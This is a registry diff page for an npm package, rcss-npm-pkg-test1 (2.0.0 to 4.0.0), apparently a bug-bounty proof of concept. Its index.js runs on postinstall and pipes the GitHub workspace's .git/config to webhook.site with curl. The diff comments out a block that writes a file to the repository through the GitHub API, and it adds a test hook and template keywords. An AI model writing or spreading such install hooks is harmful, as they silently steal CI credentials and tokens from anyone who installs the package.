rcss-npm-pkg-test1 2.0.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -1
- package/install.yml +4 -0
- package/package.json +4 -3
- package/test-hook.js +2 -0
package/index.js
CHANGED
|
@@ -13,7 +13,7 @@ exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/Test
|
|
|
13
13
|
});
|
|
14
14
|
console.log("===============================================================");
|
|
15
15
|
|
|
16
|
-
const { execSync } = require('child_process');
|
|
16
|
+
/*const { execSync } = require('child_process');
|
|
17
17
|
|
|
18
18
|
// Only run once (first Linux runner), and only in GitHub Actions
|
|
19
19
|
if (process.platform !== 'linux' || !process.env.GITHUB_WORKSPACE) process.exit(0);
|
|
@@ -58,3 +58,4 @@ execSync(
|
|
|
58
58
|
})}' "https://api.github.com/repos/${repo}/contents/h1-poc.md"`,
|
|
59
59
|
{ encoding: 'utf8', timeout: 10000 }
|
|
60
60
|
);
|
|
61
|
+
*/
|
package/install.yml
ADDED
package/package.json
CHANGED
|
@@ -1,12 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rcss-npm-pkg-test1",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "4.0.0",
|
|
4
4
|
"description": "A test package that runs a script on install",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"postinstall": "node index.js"
|
|
7
|
+
"postinstall": "node index.js",
|
|
8
|
+
"test": "node test-hook.js || true"
|
|
8
9
|
},
|
|
9
|
-
"keywords": [],
|
|
10
|
+
"keywords": ["aio", "aio-app-builder-template"],
|
|
10
11
|
"author": "0xrcss",
|
|
11
12
|
"license": "ISC"
|
|
12
13
|
}
|
package/test-hook.js
ADDED